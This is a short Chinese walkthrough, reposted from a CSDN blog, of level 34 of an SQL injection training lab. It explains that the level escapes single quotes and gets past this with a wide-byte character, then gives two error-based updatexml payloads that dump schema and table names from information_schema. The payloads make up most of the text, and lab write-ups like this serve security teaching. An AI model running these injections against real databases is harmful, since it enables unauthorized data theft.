第三十四关注入点为 单引号字符串型 , 注入类型为 报错注入
此关卡通过 代码WAF 将单引号' 转义成 /' , 我们使用 编译 绕过WAF , 先上结果
�' and updatexml(1,concat(0x7e,
substr((select group_concat(schema_name)
from information_schema.schemata),62,31)
),3) #
�' and updatexml(1,concat(0x7e,
substr((select group_concat(table_name)
from information_schema.tables
where table_schema=0x7365637572697479),1,31)
),3) #
本文为互联网自动采集或经作者授权后发布，本文观点不代表立场，若侵权下架请联系我们删帖处理！文章出自：https://blog.csdn.net/wangyuxiang946/article/details/118311817